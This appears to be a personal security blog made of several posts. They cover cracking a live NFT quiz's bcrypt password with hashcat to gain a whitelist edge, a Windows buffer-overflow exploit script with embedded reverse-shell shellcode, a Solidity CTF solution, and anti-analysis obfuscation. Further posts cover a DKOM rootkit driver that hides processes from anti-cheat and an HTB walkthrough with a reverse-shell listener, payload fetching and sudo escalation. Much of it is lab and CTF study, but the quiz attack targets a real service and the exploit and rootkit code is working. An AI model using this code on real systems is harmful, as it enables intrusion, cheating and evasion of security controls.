Why so trusting?

Quick Context: Okay, so recently, we come across some fancy NFT project wherein “Students” are invited to join “Quizzes” and “Projects” to “Graduate”.

A “Graduate” means whitelisted for the mint of the NFT collection.

Our Goal

Our goal is to get into the top leaderboard so we can ensure our whitelist slot. And we want this by all means, so we use our hacker instinct to get advantage on the quiz.

However, we wouldn’t wanna overkill the contest. We didn’t spawn bots to automatically answer the quizzes (which is easy to do), so we just sticked with our bare hands, manually answering the quizzes. And we just stick to one-to-one account to human. We don’t want to disrupt the experience of other people.

The quiz

The quiz is a client sided web app. Meaning, all of the password for the quiz and questions are given to client without levels of authorization. Below are the steps of our reconnaissance and enumeration to extract the password and the set of question for a quiz.

Cracking the Password

Every quiz has different password. And our goal is to crack the password before the quiz starts (hours before the quiz so we have the chance to crack it).

Upon logging-in and browsing to /quiz page, we could see a web api requests. We can see that a request has a response that includes juicy information. We saw a json response that includes quiz details and we write down the _id and the password to our notes.

$2a$10$msFPZnG.NKHaCcVupGsQyuvpB8IwtZ7v3UxPBwf3fXe8hGdCMEwsu

The password is a bcrypt hash.

The first thing we did was to list all possible passwords and try to compare them against the hash.
But sadly, we didn’t got any “possible password” correct.

What is Bcrypt?

The input to the bcrypt function is the password string (up to 72 bytes), a numeric cost, and a 16-byte (128-bit) salt value. The salt is typically a random value. The bcrypt function uses these inputs to compute a 24-byte (192-bit) hash. The final output of the bcrypt function is a string of the form:

$2<a/b/x/y>$[cost]$[22 character salt][31 character hash]

For example, with input password abc123xyz, cost 12, and a random salt, the output of bcrypt is the string

$2a$12$R9h/cIPz0gi.URNNX3kh2OPST9/PgBkqquzi.Ss7KIUgO2t0jWMUW
\__/\/ \____________________/\_____________________________/
Alg Cost      Salt                        Hash

Where:

  • $2a$: The hash algorithm identifier (bcrypt)
  • 12: Input cost (212 i.e. 4096 rounds)
  • R9h/cIPz0gi.URNNX3kh2O: A base-64 encoding of the input salt
  • PST9/PgBkqquzi.Ss7KIUgO2t0jWMUW: A base-64 encoding of the first 23 bytes of the computed 24 byte hash

The base-64 encoding in bcrypt uses the table ./ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789,[9] which is different than RFC 4648 Base64 encoding.

Back to our discussion

So now we know the basics of bcrypt, we could now start attacking the password hash.

Well, luckily, we got a tool named hashcat.
Without having any more ideas about the password, we can now use the bruteforce technique.
We also know that the password only contains numbers.
So we could go bruteforce increment from ZERO until 10^n. Where n is the number of digits.

hashcat.exe -a 3 -m 3200 --increment --increment-min 1 --increment-max 8 $2a$10$msFPZnG.NKHaCcVupGsQyuvpB8IwtZ7v3UxPBwf3fXe8hGdCMEwsu ?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d

Here, we tell hashcat that our attack mode is Brute-force (-a 3), increment each password iteration (–increment), start from 1 digit (–increment-min 1), end the iteration with maximum of 8 digit (–increment-max 8), password hash that we found earlier ($2a$10$msFPZnG.NKHaCcVupGsQyuvpB8IwtZ7v3UxPBwf3fXe8hGdCMEwsu) and the pattern that we want our hashcat to follow (?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d).

To know more about hashcat, check this out: https://hashcat.net/wiki/doku.php?id=hashcat

And after some couple of minutes, we cracked the hash!

It took only 8 minutes for my GTX1050 to crack a 5-digit password. But it would definitely lasts more longer if the password was longer than 5-digit.
Luckily, the password for this quiz is shorter than the first set of quizzes so we are able to bruteforce this in a very small amount of time.

Extracting Questions

We found a page where we can browse the quiz. We just enter the password that we found for this quiz.

The web app then make a request to the web api and we could see a juicy information here that includes the quiz questionnaires (testData).

We just parse the testData. And boom! Successfully extracted the PASSWORD and the QUESTIONS.

Conclusion

I understand the intention of the developer that they don’t want the participants kinda “DDoS” their servers by having a lot of authentication and authorization though their servers. They just give all their password and quiz data to the client because they want the validation to be on client’s side and not having loads to their server.

The web app’s architecture, does not really abide the Zero Trust Security because they just make the client’s authorized themselves and “trusts” them without proper validation.

Thanks for reading this short writeup!
I hope you enjoy and see you on my next writeup!

Hijack service via buffer overflow (Windows)

Often times, when we are doing penetration tests, we can encounter some applications that is vulnerable to buffer overflow attack.

What Is a Buffer Overflow Attack? (Excerpt from Fortinet)

A buffer overflow attack takes place when an attacker manipulates the coding error to carry out malicious actions and compromise the affected system. The attacker alters the application’s execution path and overwrites elements of its memory, which amends the program’s execution path to damage existing files or expose data.

A buffer overflow attack typically involves violating programming languages and overwriting the bounds of the buffers they exist on. Most buffer overflows are caused by the combination of manipulating memory and mistaken assumptions around the composition or size of data.

A buffer overflow vulnerability will typically occur when code:

  1. Is reliant on external data to control its behavior
  2. Is dependent on data properties that are enforced beyond its immediate scope
  3. Is so complex that programmers are not able to predict its behavior accurately

To read more: https://www.fortinet.com/resources/cyberglossary/buffer-overflow

Demonstration

Pre-requisites and briefing

We found an interesting service (server.exe is made by HTB, no copyright infringement) running as high privilege. We are currently at a low privilege user, finding a way to escalate our privilege and that service might be our ticket to gain high privilege.

We found out that the service is binding to port 4444.
We exfiltrate the service binary so we can do further analysis.
And it turns out we can extract the username and password of it.
But after logging in, nothing interesting happens.

server.exe – port 4444
$ strings server.exe

Output:
...
Dante Server 1.0
Enter Access Name: 
Admin
Access Password: 
Wrong username!
P@$$worD
Correct Password!
Wrong password!
...
Password found but nothing interesting follows

Further investigation, we found out that the DEP on the target machine was turned off.
We also check the binary for dynamic base / ASLR / relocations and such.
Seems like the binary is simply static therefore the base doesn’t change.

We then proceed to replicate the environment to our lab and do our analysis.

Additional checks

Finding the payload offset

We need to determine the correct padding before the EIP is replaced.
If we can control the EIP, then we can control the execution flow of the program and we can hijack it.

Generate a payload

Send this payload on password field. And we need to check the debugger for exceptions that this payload will create.

payload sent
EIP at 33694232
offset at 1028
from pwn import *  
import sys  
  
if len(sys.argv) < 3:  
        print("Usage: {} ip port".format(sys.argv[0]))  
        sys.exit()  
  
ip = sys.argv[1]  
port = sys.argv[2]  
  
payload = "A" * 1028 + "B" * 4 + "C" * 500  
  
r = remote(ip, port)  
r.recvuntil(':')  
r.sendline("Admin")  
r.recvuntil(':')  
r.sendline(payload)

We can try to run this code so we can check if we got our offsets right.

offsets are just in place!

So we can now take control of EIP and hijack the execution flow.
Since we also control the ESP, we can find an instruction that can make the execution to jump to ESP.

jmp esp

We can use https://defuse.ca/online-x86-assembler.htm to assemble and disassemble opcodes

FF E4

We could use the first result at 0x10476D73

0x10476D73

Generating the reverse shell payload

msfvenom reverse shell

We add the payload to our script.
Here is the updated script:

from pwn import *  
import sys  
  
if len(sys.argv) < 3:  
        print("Usage: {} ip port".format(sys.argv[0]))  
        sys.exit()  
  
ip = sys.argv[1]  
port = sys.argv[2]  


#padding before the EIP Replace
buf =  b"A" * 1028

#jmp esp // 0x10476D73
buf += b"\x73\x6d\x47\x10"

#just a NOP buffer before the actual payload
buf += b"\x90" * 10

#this is where esp is pointed, so the instruction will jump here
buf += b""
buf += b"\xb8\xc6\xe1\x27\x01\xdb\xdd\xd9\x74\x24\xf4\x5e"
buf += b"\x2b\xc9\xb1\x52\x31\x46\x12\x83\xee\xfc\x03\x80"
buf += b"\xef\xc5\xf4\xf0\x18\x8b\xf7\x08\xd9\xec\x7e\xed"
buf += b"\xe8\x2c\xe4\x66\x5a\x9d\x6e\x2a\x57\x56\x22\xde"
buf += b"\xec\x1a\xeb\xd1\x45\x90\xcd\xdc\x56\x89\x2e\x7f"
buf += b"\xd5\xd0\x62\x5f\xe4\x1a\x77\x9e\x21\x46\x7a\xf2"
buf += b"\xfa\x0c\x29\xe2\x8f\x59\xf2\x89\xdc\x4c\x72\x6e"
buf += b"\x94\x6f\x53\x21\xae\x29\x73\xc0\x63\x42\x3a\xda"
buf += b"\x60\x6f\xf4\x51\x52\x1b\x07\xb3\xaa\xe4\xa4\xfa"
buf += b"\x02\x17\xb4\x3b\xa4\xc8\xc3\x35\xd6\x75\xd4\x82"
buf += b"\xa4\xa1\x51\x10\x0e\x21\xc1\xfc\xae\xe6\x94\x77"
buf += b"\xbc\x43\xd2\xdf\xa1\x52\x37\x54\xdd\xdf\xb6\xba"
buf += b"\x57\x9b\x9c\x1e\x33\x7f\xbc\x07\x99\x2e\xc1\x57"
buf += b"\x42\x8e\x67\x1c\x6f\xdb\x15\x7f\xf8\x28\x14\x7f"
buf += b"\xf8\x26\x2f\x0c\xca\xe9\x9b\x9a\x66\x61\x02\x5d"
buf += b"\x88\x58\xf2\xf1\x77\x63\x03\xd8\xb3\x37\x53\x72"
buf += b"\x15\x38\x38\x82\x9a\xed\xef\xd2\x34\x5e\x50\x82"
buf += b"\xf4\x0e\x38\xc8\xfa\x71\x58\xf3\xd0\x19\xf3\x0e"
buf += b"\xb3\x5a\x04\x10\x42\xcd\x06\x10\x55\x52\x8e\xf6"
buf += b"\x3f\x7c\xc6\xa1\xd7\xe5\x43\x39\x49\xe9\x59\x44"
buf += b"\x49\x61\x6e\xb9\x04\x82\x1b\xa9\xf1\x62\x56\x93"
buf += b"\x54\x7c\x4c\xbb\x3b\xef\x0b\x3b\x35\x0c\x84\x6c"
buf += b"\x12\xe2\xdd\xf8\x8e\x5d\x74\x1e\x53\x3b\xbf\x9a"
buf += b"\x88\xf8\x3e\x23\x5c\x44\x65\x33\x98\x45\x21\x67"
buf += b"\x74\x10\xff\xd1\x32\xca\xb1\x8b\xec\xa1\x1b\x5b"
buf += b"\x68\x8a\x9b\x1d\x75\xc7\x6d\xc1\xc4\xbe\x2b\xfe"
buf += b"\xe9\x56\xbc\x87\x17\xc7\x43\x52\x9c\xf7\x09\xfe"
buf += b"\xb5\x9f\xd7\x6b\x84\xfd\xe7\x46\xcb\xfb\x6b\x62"
buf += b"\xb4\xff\x74\x07\xb1\x44\x33\xf4\xcb\xd5\xd6\xfa"
buf += b"\x78\xd5\xf2"
  
payload = buf
  
r = remote(ip, port)  
r.recvuntil(':')  
r.sendline("Admin")  
r.recvuntil(':')  
r.sendline(payload)

We then need to start our reverse shell listener

And execute the payload!

payload sent!
HIJACKED

Conclusion and Outro

To summarize what we did, here are the steps:

  1. We find the correct padding for our payload to replace the EIP with our desired address
  2. Since we can replace the EIP, we can hijack the execution flow.
  3. We also have control over the ESP, therefore we can command the EIP to jump to ESP
  4. We generate our reverse shell via msfvenom and add it to our payload
  5. HIJACKED!

Okay, its been quite a while before I was able to publish new content.
I was so busy with OSCP, and the thing is, I did my exam.
… and I failed! LOL.
Well, I thought I was ready, but it seems like I still need more practice.
I will be taking 2nd attempt soon. But for now, ill practice more and more.

That’s it! thanks for reading!

OSCP: A little update

Heyaaa! It’s been a while since I posted my last update regarding my OSCP journey.
As I said a few posts ago, I will be enrolling first with the HTB’s academy modules so that the 3 months of laboratory during OSCP proper will not be wasted.

I want to make the most out of it during the 3 months of OSCP enrollment.
They did an overhaul with the PEN-200 course so it’s better to walk to it prepared.

https://help.offensive-security.com/hc/en-us/articles/360040165632-OSCP-Exam-Guide#bonus-points

During my study in HTB, I try to master the tools of trade as much as I can so when I enroll to OSCP, I know the tools to use and whatnot.
I also finished HTB Academy 2 Paths (I am now qualified to take the CBBH and CPTS exams but I choose to go with OSCP enrollment first):

HTB Certified Bug Bounty Hunter
CERTIFIED BUG BOUNTY HUNTER

https://academy.hackthebox.com/preview/certifications/htb-certified-bug-bounty-hunter

HTB Certified Penetration Testing Specialist
CERTIFIED PENETRATION TESTING SPECIALIST

https://academy.hackthebox.com/preview/certifications/htb-certified-penetration-testing-specialist

Here are all the modules of the 2 combined paths:

HTB

Overall, I can say that HTB really provides good quality materials. A lot of knowledge can be gained from HTB!
The laboratories are time consuming yet very enjoyable!

Sometimes when I hit a wall brick and gets stuck, it get’s frustrating.
But a walk outside and breathing of fresh air can really help.

CYBER APOCALYPSE CTF 2023

Also, As I mentioned on my last post, I joined the CA CTF 2023. Since I cannot find any team to join (probably because I am a newbie) then I made my own and participated as solo player.

I got to pwn a lot of easy and very easy challenges but I don’t have time left to pwn medium and higher challenges. I ended up a team ranking of 468/6483 and got only 29/74 flags.

Certificate of Participation

OSCP Enrollment

And since I don’t have any company sponsor, and the money I will spend will come from my own pocket, then I have to be practical as much as I can. That’s why I just opted to enroll first with HTB academy to master the tools before I enroll to OSCP.

I chose the “Course & Cert Exam Bundle” as it is the most cheapest but it only comes with 90 days of lab access.

OSCP

I will try to post updates whenever I got time. But yeah, probably I got lesser time as of now because I will be focusing as much as possible during the OSCP proper.

Thank you so much for reading! Stay tuned!

CTF CA23: BLOCKCHAIN //The Art of Deception

Hey! Whats up?!, I quite went dark during my OSCP study so I wasn’t able to post updates here.
More updates on me later but for this post, I want to share a small CTF writeup!
This is a writeup for “The Art of Deception” in the Blockchain category of Cyber Apocalypse 2023

HTB CA2023

The Problem

I was given 2 files:

pragma solidity ^0.8.18;


interface Entrant {
    function name() external returns (string memory);
}

contract HighSecurityGate {
    
    string[] private authorized = ["Orion", "Nova", "Eclipse"];
    string public lastEntrant;

    function enter() external {
        Entrant _entrant = Entrant(msg.sender);

        require(_isAuthorized(_entrant.name()), "Intruder detected");
        lastEntrant = _entrant.name();
    }

    function _isAuthorized(string memory _user) private view returns (bool){
        for (uint i; i < authorized.length; i++){
            if (strcmp(_user, authorized[i])){
                return true;
            }
        }
        return false;
    }

    function strcmp(string memory _str1, string memory _str2) public pure returns (bool){
        return keccak256(abi.encodePacked(_str1)) == keccak256(abi.encodePacked(_str2)); 
    }
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.18;

import {HighSecurityGate} from "./FortifiedPerimeter.sol";

contract Setup {
    HighSecurityGate public immutable TARGET;

    constructor() {
        TARGET = new HighSecurityGate();
    }

    function isSolved() public view returns (bool) {
        return TARGET.strcmp(TARGET.lastEntrant(), "Pandora");
    }
}

These smart contracts are pre-deployed in a local blockchain EVM.
The problem is simple. If the isSolved() function returns True then I passed the challenge.

Quite simple isn’t it? For experienced pentesters, yes this is quite easy, but for me, a novice, it’s kinda frustrating but rewarding.

The solution

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.18;

import {HighSecurityGate} from "./FortifiedPerimeter.sol";

contract Solution {
    HighSecurityGate public immutable TARGET;

    string public myName;
    int public numOfCalls = 0;

    constructor(address _input) {
        TARGET = HighSecurityGate(_input);
    }

    function isSolved() public view returns (bool) {
        return TARGET.strcmp(TARGET.lastEntrant(), "Pandora");
    }

    function name() external returns (string memory){

        if(numOfCalls == 0){
            this.modifyName("Orion");
        }else{
            this.modifyName("Pandora");
        }

        numOfCalls++;
        return myName;
    }

    function modifyName(string memory _inputName) external{
        myName = _inputName;
    }

    function reset_numOfCalls() external{
        numOfCalls = 0;
    }

    function attack() external{
        TARGET.enter();
    }
}

So to carry out the attack, just execute the attack() function.

Some variable here are used in play:

  • myName – This is used as a storage variable that returns a name whenever name() is executed
  • numOfCalls – This is an incremental counter for the name() whenever it gets executed

Some functions are used in play too:

  • name() – This is a function that check if numOfCalls is equivalent to 0 then it updates the myName via modifyName() as “Orion”. Else if it is not equals to 0 then it will update as “Pandora”. It will also increment the numOfCalls. Finally, it will return the value of myName.
  • modifyName() – Updates the myName.
  • reset_numOfCalls() – resets the numOfCalls counter
  • attack() – calls the enter() function in the target contract

Okay, the logic is simple.

Entrant _entrant = Entrant(msg.sender);

The above code, typedef the caller to an interface. In our case, since an address doesn’t have function name() as referred in the Entrant interface then therefore the attack should be carried out by a contract and not directly from an address.

require(_isAuthorized(_entrant.name()), "Intruder detected");

Here, we can see that _entrant.name() is called. Therefore, getting the value of “Orion” (assuming that the numOfCalls is 0) and incrementing numOfCalls. The _isAuthorized will return true because “Orion” is a valid string as per listed in authorized array.

lastEntrant = _entrant.name();

We can see here another call to _entrant.name(). Therefore getting the value of “Pandora” (assuming that the numOfCalls is not 0) and assign it to lastEntrant.

Conclusion

Always check the calls to a contract instance. These attack might be used in a chained vector scenario.
For example, if contract A is calling to contract B, when the attacker hacked the contract B, he might use the contract B to pivot the attack to contract A.

That’s it folks! Thanks for reading!

Obfuscation thru Polymorphism and Instantiation

The goal of this writeup is to create an additional layer of defense versus analysis.
A lot of malwares utilize this technique in order for the binary analysis make more harder.

Polymorphism is an important concept of object-oriented programming. It simply means more than one form. That is, the same entity (function or operator) behaves differently in different scenarios

www.programiz.com

We can implement polymorphism in C++ using the following ways:

  1. Function overloading
  2. Operator overloading
  3. Function overriding
  4. Virtual functions

Now, let’s get it working. For this article, we are using a basic class named HEAVENSGATE_BASE and HEAVENSGATE.

Fig1: Instantiation

Then we will be calling a function on an Instantiated Object.

Fig2: Call to a function

Normal Declarations

Fig3: We have a pointer named HEAVENSGATE_INSTANCE.

When we examine the function call (Fig2) under IDA, we get the result of:

Fig4: Direct Call to HEAVENSGATE::InitHeavensGate

and when we cross-reference the functions, we will see on screen:

Fig5: xref HEAVENSGATE::InitHeavensGate

The xref on the .rdata is a call from VirtualTable of the Instantiated object. And the xref on the InitThread is a call to the function (Fig2).

Basic Obfuscation

So, how do we apply basic obfuscation?

We just need to change the declaration of Object to be the “_BASE” level.

Fig6: A pointer named HEAVENSGATE_INSTANCE pointer to HEAVENSGATE_BASE

Unlike earlier, the pointer points to a class named HEAVENSGATE. But this time we will be using the “_BASE”.

Under the IDA, we can see the following instructions:

Fig7: Obfuscated call

Well, technically, it isn’t obfuscated. But the thing is, when an analyzer doesn’t have the .pdb file which contains the symbols name, then it will be harder to follow the calls and purpose of a certain call without using debugger.

This disassembly shows exactly what is going on under the hood with relation to polymorphism. For the invocations of function, the compiler moves the address of the object in to the EDX register. This is then dereferenced to get the base of the VMT and stored in the EAX register. The appropriate VMT entry for the function is found by using EAX as an index and storing the address in EDX. This function is then called. Since HEAVENSGATE_BASE and HEAVENSGATE have different VMTs, this code will call different functions — the appropriate ones — for the appropriate object type. Seeing how it’s done under the hood also allows us to easily write a function to print the VMT.

Fig8: Direct function call is now gone

We can now just see that the direct call (in comparison with Fig5) is now gone. Traces and footprints will be harder to be traced.

Conclusion

Dividing the classes into two: a Base and the Original class, is a time consuming task. It also make the code looks ugly. But somehow, it can greatly add protection to our binary from analysis.

Win11 22H2: Heaven’s Gate Hook

This won’t get too long. Just a quick fix for heavens gate hook (http://mark.rxmsolutions.com/through-the-heavens-gate/) as Microsoft updates the wow64cpu.dll that manages the translation from 32bit to 64bit syscalls of WoW64 applications.

To better visualize the change, here is the comparison of before and after.

Prior to 22h2, down until win10.
win11 22h2

With that being said, you cannot place a hook on 0x3010 as it would take a size of 8 bytes replacement. And would destroy the call mechanism even if you fix the displacement of call.

The solution

The solution is pretty simple. As in very very simple. Copy all the bytes from 0x3010 down until 0x302D. Fix the displacement only for the copied jmp at 0x3028. Then place the hook at 0x3010.
Basically, the copied gate (via VirtualAlloc or Codecave) will continue execution from original 0x3010. And so, the original 0x3015 and onwards will not be executed ever again.

Pretty easy right?

Notes

In the past, Microsoft tends to use far jump to set the CS:33. CS:33 signify that the execution will be a long 64 bit mode in order to translate from 32bit to 64bit. Now, they managed to create bridge without the need for far jmp. Lot of readings need to be cited in order to understand these new mechanism but please do let me know!

Conquering Userland (1/3): DKOM Rootkit

I am now close at finishing the HTB Junior Pentester role course but decided to take a quick brake and focus on one of my favorite fields: reversing games and evading anti-cheat.

The goal

The end goal is simple, to bypass the Cheat Engine for usermode anti-cheats and allow us to debug a game using type-1 hypervisor.

This writeup will be divided into 3 parts.

  • First will be the concept of Direct Kernel Object Manipulation to make a process unlink from eprocess struct.
  • Second, the concept of hypervisor for debugging.
  • And lastly, is the concept of Patchguard, Driver Signature Enforcement and how to disable those.

So without further ado, let’s get our hands dirty!

Difference Between Kernel mode and User mode

http://mark.rxmsolutions.com/wp-content/uploads/2023/09/Difference-Between-User-Mode-and-Kernel-Mode-fig-1.png
Kernel-mode vs User modeIn kernel mode, the program has direct and unrestricted access to system resources.In user mode, the application program executes and starts.
InterruptionsIn Kernel mode, the whole operating system might go down if an interrupt occursIn user mode, a single process fails if an interrupt occurs.  
ModesKernel mode is also known as the master mode, privileged mode, or system mode.User mode is also known as the unprivileged mode, restricted mode, or slave mode.
Virtual address spaceIn kernel mode, all processes share a single virtual address space.In user mode, all processes get separate virtual address space.
Level of privilegeIn kernel mode, the applications have more privileges as compared to user mode.While in user mode the applications have fewer privileges.
RestrictionsAs kernel mode can access both the user programs as well as the kernel programs there are no restrictions.While user mode needs to access kernel programs as it cannot directly access them.
Mode bit valueThe mode bit of kernel-mode is 0.While; the mode bit of user-mode is 3.
Memory ReferencesIt is capable of referencing both memory areas.It can only make references to memory allocated for user mode. 
System CrashA system crash in kernel mode is severe and makes things more complicated.
 
In user mode, a system crash can be recovered by simply resuming the session.
AccessOnly essential functionality is permitted to operate in this mode.User programs can access and execute in this mode for a given system.
FunctionalityThe kernel mode can refer to any memory block in the system and can also direct the CPU for the execution of an instruction, making it a very potent and significant mode.The user mode is a standard and typical viewing mode, which implies that information cannot be executed on its own or reference any memory block; it needs an Application Protocol Interface (API) to achieve these things.
https://www.geeksforgeeks.org/difference-between-user-mode-and-kernel-mode/

Basically, if the anti-cheat resides only in usermode, then the anti-cheat doesn’t have the total control of the system. If you manage to get into the kernelmode, then you can easily manipulate all objects and events in the usermode. However, it is not advised to do the whole cheat in the kernel alone. One single mistake can cause Blue Screen Of Death, but we do need the kernel to allow us for easy read and write on processes.

EPROCESS

The EPROCESS structure is an opaque structure that serves as the process object for a process.

Some routines, such as PsGetProcessCreateTimeQuadPart, use EPROCESS to identify the process to operate on. Drivers can use the PsGetCurrentProcess routine to obtain a pointer to the process object for the current process and can use the ObReferenceObjectByHandle routine to obtain a pointer to the process object that is associated with the specified handle. The PsInitialSystemProcess global variable points to the process object for the system process.

Note that a process object is an Object Manager object. Drivers should use Object Manager routines such as ObReferenceObject and ObDereferenceObject to maintain the object’s reference count.

https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/eprocess

Interestingly, the EPROCESS contains an important handle that can enumerate the running process.
This is where the magic comes in.

typedef struct _EPROCESS
{
     KPROCESS Pcb;
     EX_PUSH_LOCK ProcessLock;
     LARGE_INTEGER CreateTime;
     LARGE_INTEGER ExitTime;
     EX_RUNDOWN_REF RundownProtect;
     PVOID UniqueProcessId;
     LIST_ENTRY ActiveProcessLinks;
     ULONG QuotaUsage[3];
     ULONG QuotaPeak[3];
     ULONG CommitCharge;
     ULONG PeakVirtualSize;
     ULONG VirtualSize;
     LIST_ENTRY SessionProcessLinks;
     PVOID DebugPort;
     union
     {
          PVOID ExceptionPortData;
          ULONG ExceptionPortValue;
          ULONG ExceptionPortState: 3;
     };
     PHANDLE_TABLE ObjectTable;
     EX_FAST_REF Token;
     ULONG WorkingSetPage;
     EX_PUSH_LOCK AddressCreationLock;
...
http://mark.rxmsolutions.com/wp-content/uploads/2023/09/0cb07-capture.jpg

Each list element in LIST_ENTRY is linked towards the next application pointer (flink) and also backwards (blink) which then from a circular list pattern. Each application opened is added to the list, and removed also when closed.

Now here comes the juicy part!

Unlinking the process

Basically, removing the pointer of an application in the ActiveProcessLinks, means the application will now be invisible from other process enumeration. But don’t get me wrong. This is still detectable especially when an anti-cheat have kernel driver because they can easily scan for unlinked patterns and/or perform memory pattern scanning.

A lot of rootkits use this method to hide their process.

adios

Visualization

Before / Original State
After Modification

Checkout this link for image credits and for also a different perspective of the attack.

Kernel Driver

NTSTATUS processHiderDeviceControl(PDEVICE_OBJECT, PIRP irp) {
	auto stack = IoGetCurrentIrpStackLocation(irp);
	auto status = STATUS_SUCCESS;

	switch (stack->Parameters.DeviceIoControl.IoControlCode) {
	case IOCTL_PROCESS_HIDE_BY_PID:
	{
		const auto size = stack->Parameters.DeviceIoControl.InputBufferLength;
		if (size != sizeof(HANDLE)) {
			status = STATUS_INVALID_BUFFER_SIZE;
		}
		const auto pid = *reinterpret_cast<HANDLE*>(stack->Parameters.DeviceIoControl.Type3InputBuffer);
		PEPROCESS eprocessAddress = nullptr;
		status = PsLookupProcessByProcessId(pid, &eprocessAddress);
		if (!NT_SUCCESS(status)) {
			KdPrint(("Failed to look for process by id (0x%08X)\n", status));
			break;
		}

Here, we can see that we are finding the eprocessAddress by using PsLookupProcessByProcessId.
We will also get the offset by finding the pid in the struct. We know that ActiveProcessLinks is just below the UniqueProcessId. This might not be the best possible way because it may break on the future patches when a new element is inserted below UniqueProcessId.

Here is a table of offsets used by different windows versions if you want to use manual offsets rather than the method above.

Win7Sp00x188
Win7Sp10x188
Win8p10x2e8
Win10v16070x2f0
Win10v17030x2e8
Win10v17090x2e8
Win10v18030x2e8
Win10v18090x2e8
Win10v19030x2f0
Win10v19090x2f0
Win10v20040x448
Win10v20H10x448
Win10v20090x448
Win10v20H20x448
Win10v21H10x448
Win10v21H20x448
ActiveProcessLinks offsets
		auto addr = reinterpret_cast<HANDLE*>(eprocessAddress);
		LIST_ENTRY* activeProcessList = 0;
		for (SIZE_T offset = 0; offset < consts::MAX_EPROCESS_SIZE / sizeof(SIZE_T*); offset++) {
			if (addr[offset] == pid) {
				activeProcessList = reinterpret_cast<LIST_ENTRY*>(addr + offset + 1);
				break;
			}
		}

		if (!activeProcessList) {
			ObDereferenceObject(eprocessAddress);
			status = STATUS_UNSUCCESSFUL;
			break;
		}

		KdPrint(("Found address for ActiveProcessList! (0x%08X)\n", activeProcessList));

		if (activeProcessList->Flink == activeProcessList && activeProcessList->Blink == activeProcessList) {
			ObDereferenceObject(eprocessAddress);
			status = STATUS_ALREADY_COMPLETE;
			break;
		}

		LIST_ENTRY* prevProcess = activeProcessList->Blink;
		LIST_ENTRY* nextProcess = activeProcessList->Flink;

		prevProcess->Flink = nextProcess;
		nextProcess->Blink = prevProcess;

We also want the process-to-be-hidden to link on its own because the pointer might not exists anymore if the linked process dies.

		activeProcessList->Blink = activeProcessList;
		activeProcessList->Flink = activeProcessList;

		ObDereferenceObject(eprocessAddress);
	}
		break;
	default:
		status = STATUS_INVALID_DEVICE_REQUEST;
		break;
	}

	irp->IoStatus.Status = status;
	irp->IoStatus.Information = 0;
	IoCompleteRequest(irp, IO_NO_INCREMENT);
	return status;
}

POC

Before
After

Warnings

There are 2 problems that you need to solve first before being able to do this method.

First: You need to disable Driver Signature Enforcement

You need to load your driver to be able to execute kernel functions. You either buy a certificate to sign your own driver so you do not need to disable DSE or you can just disable DSE from windows itself. The only problem of disabling DSE is that some games requires you to have enabled DSE before playing.

Second: Bypass Patchguard

Manually messing with DKOM will result you to BSOD. They got a tons of checks. But luckily we have some ways to bypass patchguard.

These 2 will be tackled on the 3rd part of the writeup. Stay tuned!

HTB: Bug Bounty Hunter

I just got finished the Bug Bounty Hunter Job Role path from HTB. At this point, I am eligible to take HTB Certified Bug Bounty Hunter (HTB CBBH) certification. But I feel that I am still not very much confident to take it. The exam cost $210 as of this writing and allow 2 attempts. The exam runs for 7 days without proctor and it is an open note and only the sky is the limit. Check this out for more info: https://academy.hackthebox.com/preview/certifications/htb-certified-bug-bounty-hunter/

Interestingly, HTB did release a new certification called HTB Certified Penetration Testing Specialist (HTB CPTS) and this is for completing the Junior Penetration Tester Job Role path.

I am thinking to complete the said path first then take HTB CPTS before going directly with OSCP as people rate that HTB is much more harder than OSCP.

Ironically, OSCP is more considered on industry and have a much higher employment value. Who knows? HTB is actually getting ramped up for competing with OSCP and other similar certifications.

My CCNA will be expired next year, so I have to take a higher certificate to automatically renew it. My target will be CCNP Security.

With that being said, here are my certifications that I’ve been dreaming a lot:

Anyway! I feel like I am at 25% of my road to OSCP. Still a lot of work to do, but I won’t stop!

That’s it for my short update! ❤️

First HTB Machine HACKED w/o walkthrough (HTB: Base)

Introduction

This is my very first HTB machine hacked without walkthrough. I finished it within 2 Hours and 17 minutes. Kinda’ feel slow, considering it’s labeled as “EASY”. LOL. ???. There are other machines that I tried not to read walkthrough but I failed. I found myself lacking basic methodologies, imagine brute-forcing a login page for 1 hour long but the password is only simple AF as admin:password. So this time, I tried to re-adjust my enumeration and active attack methodologies.

Enumeration

sudo $(which autorecon) {target_IP}

It then produce 2 open ports which are 22 (SSH), and 80 (HTTP)

autorecon scan results

I use autorecon because it also auto enumerate dirs and try to execute scripts against the ports. Also, it can be left on background while you do other tasks.

http screenshot

There are 2 interesting components here. The contact form and the login. I tried to messed up with contact form first but no interesting happened. Next I tried the login. And I discovered that login directory can be listed.

/login directory listing

We found login.php.swp which can be used to recover parts from vim. Load the file to vim then use:

:recover login.php.swp

From there, we can find interesting.

login.php.swp recovered

Using strcmp to check validity of username and password is not really a good idea. It can be bypassed if we pass username[] instead of username, same with password. Check here for more details: https://www.doyler.net/security-not-included/bypassing-php-strcmp-abctf2016. We then proxied to burp suite and reconstruct the payload.

burpsuite

Easy! Login bypassed! Next, we are taken to the upload page where we can upload our php reverse shell. We uploaded it successfully (based on the message after uploading) but we don’t know the path to it. Luckily, autorecon caught the possible uploads directory.

autorecon scan results

We can find it under /_uploaded/<reverse_shell_file>. But first let’s set our shell listener first. Then visit the shell location.

nc -nvlp 4444
Reverse shell

We then proceed to check interesting directories and files. We then tried to check the contents of config.php. We found username and password. I tried to ssh using admin username, but it seems not working. We then proceed to check more interesting files.

/etc/passwd

We found john on the list of users. We tried to login on ssh using john as username and the previously found password. It worked!

Privilege Escalation

Manually enumerating all possible vectors for privilege escalation is hassle, so we send linpeas to the victim. We first setup our http port with linpeas in its directory using:

python3 -m http.server 80

Then we use this code to fetch the linpeas:

wget http://{my_IP}/linpeas.sh -O linpeas.sh

Also, don’t forget to chmod to allow it to run

chmod +x linpeas.sh
linPeas

We found some interesting results. I proceed to testing the results but it fails us to give the privilege escalation. We then check our sudo privilege.

sudo -l

We found john can leverage/usr/bin/find as sudo so we tried executing it with -exec parameters.

/usr/bin/find leads to root shell

Conclusion

Directory listing and misused strcmp can be dangerous. Proper configuration is the key to safety even with the smallest details.
